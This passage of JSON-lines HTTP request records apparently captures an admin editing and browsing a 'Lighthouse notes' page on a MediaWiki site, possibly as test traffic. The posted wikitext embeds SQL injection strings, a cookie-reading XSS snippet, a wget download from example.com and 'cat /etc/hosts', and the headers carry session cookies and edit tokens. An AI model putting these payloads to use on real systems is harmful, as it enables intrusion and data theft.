form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on Lighthouse, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\nec92de021bd867b1b27bd21302692bdb6af22673+\\\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ndiff\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh--\r\n"}
{"method": "GET", "target": "/wiki/Lighthouse_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; my_wikiPostEditRevision4=created; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery.tablesorter.styles%7Cmediawiki.page.gallery.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%2Ctablesorter%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cnotification%2Cstorage%2CtempUserCreated%2Cuser%2Cutil%2CvisibleTimeout%7Cmediawiki.action.view.postEdit%7Cmediawiki.language.months%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.icons-interactions%2Cindicators%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1jug0", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%2Ctablesorter%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.language.months%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1ao4b", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&action=edit&section=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery.tablesorter.styles%7Cmediawiki.action.edit.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.editfont.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 292", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Lighthouse_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=4&text=%3D%3D+Install+%3D%3D%0ARun+Lighthouse+and+ls+-la.%0A&token=ec92de021bd867b1b27bd21302692bdb6af22673%2B%5C"}
{"method": "POST", "target": "/index.php?title=Lighthouse_notes&action=submit&section=1", "headers": ["Host: example.com", "Content-Length: 2123", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycbYyV4Gp7qudkFAl", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n1\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200051\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200051\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n4\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n0\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\n48a19bb4c5ae768038e8343fe587d531\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n4\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n== Install ==\r\nRun Lighthouse and ls -la.\r\n\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\n/* Install */ Lighthouse\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave changes\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\nec92de021bd867b1b27bd21302692bdb6af22673+\\\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl--\r\n"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 300", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Lighthouse_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+Lighthouse&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=4&stashedtexthash=eb81fc5c1cf6d6470aa55f9d570214ebdb5c90c0&token=ec92de021bd867b1b27bd21302692bdb6af22673%2B%5C"}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&diff=cur&oldid=prev", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=codex-styles%7Cjquery.tablesorter.styles%7Cmediawiki.diff.styles%7Cmediawiki.helplink%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&diff=cur&oldid=prev", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%2Ctablesorter%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cdiff%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.language.months%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=11u0n", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Lighthouse_notes&diff=cur&oldid=prev", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&action=info", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.action.styles%7Cmediawiki.helplink%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=info", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Ctoc%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=ub1um", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=info", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:WhatLinksHere&target=Lighthouse+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:WhatLinksHere&target=Lighthouse+notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1y0cw", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:WhatLinksHere&target=Lighthouse+notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:AllPages&from=Lighthouse", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:AllPages&from=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:PrefixIndex&prefix=Lighthouse&namespace=0", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Log&user=Admin&page=Lighthouse+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.DateInputWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:Log&user=Admin&page=Lighthouse+notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Cmoment%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.DateInputWidget%2CUserInputWidget%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-movement%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=wq4ro", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:Log&user=Admin&page=Lighthouse+notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
